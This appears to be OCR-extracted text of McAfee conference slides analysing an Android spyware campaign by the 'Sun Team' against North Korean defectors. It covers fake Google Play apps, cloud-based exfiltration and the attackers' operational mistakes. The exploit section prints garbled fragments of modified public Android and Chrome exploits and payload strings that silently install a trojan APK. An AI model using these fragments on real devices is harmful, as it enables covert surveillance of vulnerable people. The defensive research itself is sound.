Case 3 : Hacked Webservers (3/3)

« It seems that this particular server has more things to investigate than what we initially thought
« We are not sure at the moment whether this server is being used by different groups

* Logs tell us that tons of people have accessed this server from variety of sources

U McAfee

Mobile Malware Research Team
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Malware Distribution

Case 4 : Google Drive

* Google Drive was often used to host malwares for some operations

« Good thing for us is that threat actors have to expose their Gmail account - lead us to FB accounts
« There was another one we found but unfortunately Sun Team deleted it before taking a screenshot

General Info General Info
General Info General Info

Type Android Package ype Android Package
Type Android Package Android Package

11MB Size 24KB

2MB 14MB

8:00 PM Oct 23, 2017 3:29PM Sep 15

417 PM Sep 16, 2017 12:02 PM Nov 14, 2017

11:05 AM Oct 22, 2017 317 PMSep 15

4:16 PM Sep 16, 2017 10:26 AM Nov 14,2017

10:10 PM Mar 16 O { me 3:20 PM Dec 26
EEIIERR 10:10 PM Mar 16

Sharing

Sharing Sharing

T TJ .. Owner
v i Ownes
ml_“@gmnil.l:nm
m|-1@glrmil.l:nm = telink L = Anyo Can View
- e link Can View

v o
sd-ﬂ mail.com
@ 1 link Can View

Different droppers

Mobile Malware Research Team U McAfee



Malware Distribution
Case 5: Google Play

* Most recently, instead of using Google Drive to upload malicious apk, malicious actors uploaded to
Google Play directly as unreleased version (early access program)

» Google play protect didn’t detect them as malware

Daan F Michael

2438 (Unrelez Fast AppLock - 71 AppLockFree (Un

Daan F Michael Daan F Michael Daan F Michael

o .-

64.00 KB/3.98 MB 1% x
Adplock - 7H9_|§E
O Play Z2EE Q15 ¢
®

) O] U BiXY 7 S0|22 FeryE

Play Protect Verified ©
g v o e ¥l Fol=2 gorny 4+
HyRs  |AES AL
YO[Bt AIZ0| YF B SAE 281510
25101, SA0f| ZEE|0] AT AYATL S ° @
olojlAf O] BEl= ZHE'YLIC
= A YIS
3% Mze s QIABHHUYEI MY UE HIo=M
SaQloBLE RSP} HYELICE MHAYE HS

v Al | | |
ﬁ %bl% Unreleased version 1.
% Daan F Michael -

~ HHAR -

Mobile Malware Research Team
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Malware Analysis

EH|Z (Fortune Telling)

* Faking as fortune telling app
« But the pkgname is “play.google.youtube”
« Variants exists faking as a different type of app (ex. 71Z'H| 22017 “Health Secrets”)

« Uploads victim’s data to the Yandex cloud (encrypted)
« Call recordings, call logs, contacts, SMS, external storage data etc.
Stored in “<External Storage>/Android/data/com.sec.chromium/”
* We got lucky one of the files were uploaded in plaintext, which we will show in the later slides

I McAfee | 42
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Malware Analysis
NKPrayer

« NKPrayer app “=2t7| =" means Pray for North Korea
» We found other variants that drops same trojan

« Tries to phish victim to turn on the accessibility permission by toast message

* When turned on it shows full screen ad video while dropping trojan to the device in the background

Permission needed

Please turn on the service functionality in the below
menu of the next window.

L1 81219] SIEIONA eI C12 81912] BICIOIA "AE] SLIENE EAE Sy ST
HOPA AHIA 7|58 HFMK. HOPA AHIA 7|58 HFMR ;:;;ﬂg' SO |2 J15 &

) gl ~l

I McAfee | 43
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Malware Analysis
NKPrayer

« Each variants upload/download data from different cloud services (Yandex or Dropbox)

« After trojan is dropped (file name “aaa”), it uploads device information to the cloud and downloads
command file which is then parsed
« Downloads core dex file for surveillance functionalities (phone calls, SMS, GPS location, etc)

« Downloads additional dex file for executing received command

Config values

« Account names associated with the cloud storages are actor/actress/celebrity names
* yusijin, sijin yu, kang moyon, junyong ju, jack black
* More details about this malware can be found in our blog

I McAfee | 44
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https://securingtomorrow.mcafee.com/mcafee-labs/north-korean-defectors-journalists-targeted-using-social-networks-kakaotalk/

Malware Analysis
Marketing

« Another trojan was found having package names of Google services
« Dropped by fake apps - Marketing, NKPrayer (used again)
« com.google.service.security, com.google.map.security, com.google.youtube.player

* When the trojan is implanted to victim’s device, similarly uploads device information and logs to
Dropbox storage

» Files are xor encoded, but the key file is downloadable

« Config files are downloaded as well (also encoded)

Monitoring file types

I McAfee | 45
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Malware Analysis
Marketing

* Overall, this trojan has similar features and structure as NKPrayer
« But they added some features like XOR encoding files

* However, malware didn’t function properly
« Downloadable payloads and uploaded victim files are not properly decoded

* Most of the logs uploaded were error logs
« Didn’t fully use implemented features (empty folders on cloud etc.)

They abandoned the malware [nnnns
w«?

imgflip.com s

I McAfee | 46
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Malware Analysis

=243 (Food Info)

+ Uploaded on Google Play and was recently updated in March

« Tells users which food ingredients(& %) go well together(=2})

« This app was the most heavily promoted on Sun Team’s Facebook account

* When installed it uploads device information as well as files on external storage

» Already download count exceeded 50 when it was finally taken down

SAM 38 (Unreleased)

aan F Michael Health & Fitness

© Thisis anunreleased app. It may be unstable
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Malware Analysis

=243 (Food Info)

We found interesting images on the cloud, which weren’t used yet (probably killed the app too early)

Sun Team probably wanted to phish victims with fake Ahnlab AV popup to install other payload on the

device

« So many things wrong in this images, no Koreans gets phished with this!

ENE DTS OFeH Security Alert

“Your phone is

being attacked.
Update

immediately”

“Your phone is
in danger.
Please update”

on
rx
ol ri

(4]
N
) mo Io

%z

Ot3H Security Alert

We use “I}”
instead of “3}&!”
= Different Korean
character

“Are you going
to download the ™

update file?”

Mobile Malware Research Team
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Malware Analysis
FastAppLock

* Another malware that was uploaded on Google Play
» ltis for locking other apps when they are not in use (kind of privacy protection app)

« But as usual, secretly in the background it uploaded device information and downloaded commands,
extra plugin dex files, etc. (Dropbox)
Fast AppLock - 7HQIH &2 &£ 0t

(Unreleased)

Daan F Michael Tools

o0 ©

This is an unreleased app.
This ap,

. !II '
- 4
—~p v
: - HEN .
= g
1]
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Malware Analysis

How are they linked together

Diagram looks complex but all the
malware samples we discussed
are somehow all related

Mobile Malware Research Team

Trojan #1 ———Same fingarprint—— Trojan #2

“4—Google Drive Link foun

|—Upluad.,"duwnload

“4—Dvrop trojan on device:

MKPrayer

Sunteam C2 Dropbox Storage

Marketing

Trojan #2
Test version

(used in previous operation)

dawniosd Variant i

installed

Fortune Telling

o] IMEL: 9OXXX [_1

Email linked to Facebook account

SA 38 (Unreleased

Daan F Michael  Healih & Fitness

device

Offered By

Same email address

Sunteam C2 Dropbox Storage
(new operation)

Device information log

Device information log  Found on external storage

Device information log

IMEI: 35XXX

Same email address

AppLockFree (Unreleaged)

Caan Fblichasl  Tools

Offered By
Daan F Michael

Fast AppLock - 7§ 2IH
(Unreleased)

Daan F Michael  Tools

Same email address

Offered By
Daan F Michael

Device information log

Same email address




OPSEC Falls

+ We were analyzing Dropbox storages which were used as C2 servers and found dump of test data
possibly uploaded accidently while testing their malware

* |Inside the test data we were able to find valuable information

Malicious actor’s device information

Other versions of malware we weren’t aware
Email addresses, accounts

« Etc.

 Let’s see what we have found in more detail

Mobile Malware Research Team U McAfee | 51



OPSEC Falls

Case 1: Android Device Information

» Device information logs found contained IMEI (International Mobile Equipment Identity), model, build
version and so on

* Following is the geographical info about where the test devices from according to the carrier info

Galaxy Note4
Sprint

¥ Galaxy S7 Edge
OPEN Brazil

LG V20 |f5 G4
SK Telecom LG U+

Mobile Malware Research Team U McAfee | 52



OPSEC Falls

Case 1: Android Device Information

Gmalil MODEL Carrier IP Address Date
Account

[Seieieieieioia Galaxy S7
Edge

(U] paieieeioiai Galaxy Note 3

Galaxy Note 4

7 LG V20
29 LG G4
29 XT1662

Open Brazil

LGU+ South Korea

Sprint United States

SK Telecom

LG U+

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

{"city":"Pyongyang (Ryugyong-dong)",
Korea","query":"175.45.178.148"} - WIFI

{"city":"Secaucus","country":"United
States","query":"23.226.128.90"} VPN

{"city":"Seoul","country":"Republic of
Korea","query":"110.10.176.47"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

country":"North

2017/11/10 17:46:05

2017/12/21 01:49:04

2017/12/21 00:08:25

2017/11/11 08:59:08

2017/11/10 19:52:38

2017/11/11 19:49:45

2017/11/09 16:25:27

Mobile Malware Research Team

U McAfee
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OPSEC Falls

Case 1: Android Device Information

AU Phone carrier: MTS

IC*******

ur*******

?7?

??

?7?

Galaxy S7 Open Brazil

Edge

This actor exposed the phone number
at 2018/02/04 17:20:33

Galaxy Note 3 LGU+ South Korea

Galaxy Note 4 Sprint United States

LG V20 SK Telecom
LG G4 LG U+
XT1662 -

Country: Russia

Country code: 7

Area Code 91: Mobile Phone
Capital of Russia: Moscow

:146:05

:149:04

Countries Sharing +7 country code: Abkhazia, Kazakhstan, Russia ):08:25

States","query™:"23.226.128.90"} VPN

{"city":"Seoul","country":"Republic of
Korea","query":"110.10.176.47"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

{"city":"Secaucus","country":"United
States","query":"23.226.128.162"} VPN

2017/11/11 08:59:08

2017/11/10 19:52:38

2017/11/11 19:49:45

2017/11/09 16:25:27

Mobile Malware Research Team
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OPSEC Falls

Case 1: Android Device Information

* Following are list of apps that were installed in these test devices (interesting ones as example)

Threat actors are familiar with
Korean language

walletnfcrel

They are quite interested in
learning English ©

jcrERRRRk @ gmail.com

urk***x@gmail.com

Mobile Malware Research Team

U McAfee
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OPSEC Falls

Case 2: Images

« Some images were found in android gallery of test devices and cloud storage

Found on LG V20 device 2017.11.05

2016.10.19

Found on Dropbox inside “/Photos”
Different location than extracted pictures from victims are stored

Definitely not a cookie you can see in South Korean stores
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OPSEC Falls

Case 3: Profiles of victims for impersonation

* Folder from SDCARD of a test device contained victims’ profiles gathered for impersonation
ktdata » 99( > storage > emulated > 0 > profile v o A
) profiletet - HEE - o X
Tem BRE AMO) 20 SeTH In South Korea, we use “& 4 &”
for the word blood type
20044 @&IEHQE &Er
| & B
kakaotalk id Collese == - o 1. BAUH9| S5IE

f https://ko.wiktionary.org/wiki/%ED%94%BC%ED%98%95

;35 7 accountixt - 2%
M oooem mEE MU0 27V ESTH)

l,.n...—.v,,, S——
7 profiletst - M2
oaFE HE¥E MO
ancoding site”

F

-
Hacked server we mentioned

In each folder, images took from
victim’s social networks are stored

https://meyerwed, yifishen:
anples maxwhgl |
Ihttp:f/ihoodtec.com/uploadfnewslist.th?lrI=https%3A%2F%2Fdriv daum id: h
Y111shen
att psxaszszonenxSFi 4%3D0R0D N
=
ttps//ihoodtec. con/upload/news | is T wgle plen= max whell
e ———— Malware uploa_ded is daun id:
30101 https://ao0 817 on Google Drive o yitaes
30102:  https:/fao0.9ls
30103:  https://900.51s OIS
30104: https:/fgoo.gls maxwhel |
%8}8% pttpsiﬂgoo‘slf
B ttps://g00.glys
%8}8; pttpszﬂgwgl, Tw Accounts created for
: https://aoo.gly | impersonation
30109: https: 3l | 7 p
30110 httsiiﬂggg‘gli Shortened URL used = -
: : . : . - 4 2
2011 Dete://a00. 81/ for distributing malware  §
LE30113: https://300.31/ 15 =
(30114: https://900. 81 crcnnn
MoDbi W
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OPSEC Fails

Case 3: Profiles of victims for impersonation

) accounttxt - HEE

oeR BTE MAO 27V ESEH)

vijishen:
naxwhel |
daum ida

Account used to send
message to the journalist

as Ly N7FTOuwpElF 542 a@B LY

X

TIAE =i IPIRAER|

é

Zois |y
HHHUZEN R

20| DS SICA T2
FMSELSLIC

=T

® L L)

Images found on
the SDCARD

“My phone is not working, so
please give me your phone

number”

Very awkward Korean sentence
and definitely not a tone used by

young woman
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OPSEC Fails

Case 3: Profiles of victims for impersonation

« Folder from SDCARD of a test device contained victims’ profiles gathered for impersonation

7 accountixt - 2%
2R BEE MAH0O) 270 ESEH)
‘yijishen:
maxwhe | |
daum idz

max, wheII

daun i
vitaeg

OIEHZE -

78U Are they really in US?
Probably not. Why?

Printable 860 Area Code Map

Area Code 860 Map

Map Satellite

e

P vitaec

= o
HUEHEEE 6 U= ER20 2=,

, B TH S L S .
IRETE L SN

Bristol, CT Middletown, CT Norwich, CT
Ceniral Manchester, CT New Britain, CT Torrington, CT
East Hartiord, CT New London, CT West Hartford, CT

Hariford, CT Newington, CT Wethersfield, CT

Mobile Malware Research Team
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OPSEC Falls

Case 3: Profiles of victims for impersonation

* TextNow
* Free text & calls service
« Can get a phone number by entering area code

» High possibility that threat actors are using TextNow generated number to signup for services like
Daum which requires phone number

TextNow logs found in one of the test devices.

Mobile Malware Research Team U McAfee

60



OPSEC Fails

Case 3: Profiles of victims for impersonation

* Found screenshot of KakaoTalk chat in the Kakao directory from one of Sun Team’s test device

£ 8 Jeom ussn

a Hop gHALP?

“EEA2| F YR 30Y YA DIF of
2B

Article about journalist
i | © # being targeted

Mobile Malware Research Team
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OPSEC Falls

Case 4: Exploits

* They also left out exploits (source codes, bin), scripts in their SDCARD and uploaded them to
Dropbox

» Threat actors are using publicly available Android exploits and modifies them
» https://github.com/timwr/CVE-2016-5195 --> DCOW
« https://github.com/secmob/mosec2016/blob/master/service.cpp
« https://github.com/secmob/cansecwest2016/blob/master/exploit.html
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https://github.com/timwr/CVE-2016-5195
https://github.com/secmob/mosec2016/blob/master/service.cpp
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OPSEC Falls

Case 4: Exploits

service_5.0.cpp

Changed hardcoded address

=t uint3Z_t g _fixedAddress = exgaleleac;}

writeMotionEvent(Parcel #pData,int overwritelem,int type){

public void writeToParcel(Parcel out, int flags) {

out);
" wold so_main(uint32_t* buffer)
L (buffer[B]==Gxffiffefe){ ) ) it,NULL, app_install, buff
in_system_server = true; Added extra functionality
dprint("in system server so\n"); to install downloaded apk

CVE-2015-3875
mosec2016/A Way of Breaking Chrome’s
Sandbox in Android
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OPSEC Falls

Case 4: Exploits

(__attribute_ ((unused)) int argc, _attribute_ ((unused)) char® cc

st argv[])

id *handle = dlopen("libandroid_runtime.so™ ,RTLD_MNOW);

libruntime_base = nt*)((int)handle+148);

dlclose(handle);
mprotect_p = {uint32_t)dlsym((:
2_t)dlsym( (v
nt32_t)dlsym{(

=) axFEFFEFEF, "dlsym® )5

"%p,%x,%x, ¥x\n", handle,mprotect_p,dlopen_p,dlsym_p};

libruntime_ba. xb6ebCBde;

mprotect_p = BxbEelf088 + Bx3a25c;

#enit Added extra functionality

sp<IServiceManager> sm = defaultServiceManager();

sp<lBindar> service = smoycheckService(Stringle("s

iF (service = NULL ) { |

)24+16) , B

2, HEAPSPRAY2) ; / / — HR4G08* 45T

HEAPCORRUPT)

e,GC)s

oid*)urite2jsbuffer,1068)>8) break;

CVE-2015-3875
mosec2016/A Way of Breaking Chrome’s
Sandbox in Android

return @

service.cpp

Copies DCOW exploit to data
directory of Naver browser

General purpose browser
for Naver services

4| 0| - NAVER

NAVER Corp.  Books & Reference

Threat actors targeted victims browsing the web using Naver browser
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OPSEC Falls

Case 4: Exploits

+ Do you remember one of the hacked webservers distributing malware had chrome exploits?

* We found out that exploits we just discussed are actually uploaded to the hacked webserver

CVE-2015-6764 Chrome Exploit
Cansecwest2016/Pwn a Nexus device with a single vulnerability

ar so_str =
‘7454046010101 0000000000000000000300256001600000000A00GNS1200800bE710000000200053100200008002500190018600600000034600600
789602 2760062270000 2801000023010800040000000400B0PBS5 26574642 6eB0AD2C7eABBA2C7eDPBOI4010000010100000600PE0PELO00PBOIO0

DCOW exploit payload

DCB a
aPmInstallsdcar DCB "pm install J'sdcar'd.ﬁ'Dc-'.w.'nlnaclf'Sys.terrUpdate.apkl',a
aAmStartservice DCB "am startservice [com.android.systemservice/.CMService|,8
aPmDStartcheckD DCB “pm =%d, startcheck = ™,8x24,"%d",8
aRestarting DCB “"restarting>>»>>>>»",8 |nstall trojan used by NKPrayer
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OPSEC Falls

Case 4: Exploits

« Shell script

plt:
plt:

plt: This file has been generated by The Interactive Disassembler (IDA)

|
plt:@884E3B4 ; | Copyright (c) 2817 Hex-Rays, <supportfihex-ray: . . . =
plt:@ee4c§B4 ; | [icense info: 48-3255-7514-78 Using Leaked HackingTeam IDA License? ©
plt:eee4E364 ; | Giancarlo Russo, HT Srl ]
o oV 1= 1 s + o
plt:BB‘MEB‘L : IDa: Giancarlo Russo From Wikileaks
plt:@@B4E3E4 ; Input MDS : AD3425AF1897DASIBADESE74ATBCSBAE iato: ednesday, Ay 15, 2018 127 AN
Plt:BB‘ME ; Input CRC32 : 748CCFo98 0Oggetto: Fwd: Hex-Rays software download mfermat\onl License 48-3255-7514-28
plt:ea84E]
plt:@ea4Es I b T e T
plt:@ee4E3B4——Fd —redd \data‘\work\sandbox\1libandroid_runtime.so
plt:@@e4ES5E4 ; Format : ELF for A ared object)

-------- Forwarded Message --------
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OPSEC Falls

Case 5: Deleted files on Dropbox

» Actors deleted their test logs from the Dropbox in recent operations

 Now we don’t have data to make attributions or gain new info > correct”

" tag" ["deleted" |

"name": "RTI",

"path_lower": "/tlist/357 Irti",
"path_display": "/tlist/357. ____. __ ___/RTI"
h

{

"name": "DI_1",
"path_lower": "/tlist/357
"path_display": "/tlist/357 . . _5/DI/DI_1"
h

{
"tag":

"name": "DI",
"path_lower": "/tlist/357 /di",
"path_display":["/tlist/357 /DI"

)

{

"name": "SL_1",

"path_lower": "/tlist/357°  __./sl/sl_1",
"path_display": "ftlist/357 = /SL/SL_1
},

name” "SL",
"path_lower": "/tlist/357. ____. __ .___/sl",
"path_display": "/tlist/357. ____. .. .__3/SL"

(di/di_1",

DESCRIPTION

URL STRUCTURE

Actually you can restore deleted files if 30 days
haven’t been passed yet

Restore a file to a specific revision.

https:/fapi. dropbozapi . con/2/f i es/restore

admin (Team Admin)

Get access token for:  No Chooser apps v

curl =% POST httes://api .dropboxapi, con/2/fi les/restore #
—header "Authorization: Bearer <get access token> " #
—header "Content-Tvpe: application/json” #
—data “{#"'pathi”: #"/root Aord. docst W revtt T ¥ al ol Ocedd 7"

" "ArootAord, docx”,
z recovered

g1+(+.%)7)") The path to the file you

7+") The revision to restore for

Mobile Malware Research Team
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Victims and Extracted Data

Sensitive data in photo gallery, contacts list and call log

* Victims are North Korean defectors and support groups

* Many sensitive data were leaked

=y

Means DPRK
And the prefix number is used in SK

South Korean passport China Bank credit card Contacts related to NK
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Victims and Extracted Data

Sensitive data in photo gallery, contacts list and call log

li Camera: Samsung SM-N920S

(@ Dpate: Sun 1st of October 2017

4> Address:

& City: Seoul
&% Country:  South Korea

View More Details

This victim participated in a prayer meeting and took
photos with his mobile which had location data

Mobile Malware Research Team
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Conclusion




Conclusion

Targeted attack against North Korean defectors and related group has moved to mobile landscape

Threat actors are modifying apps that are popularly used by the target
« Or make an fake app that might catch interest

Actively using SNS to approach the targets

Mobile users must be careful about what they install on their device, even though it is downloaded
from the Google Play store

Use iPhone ©
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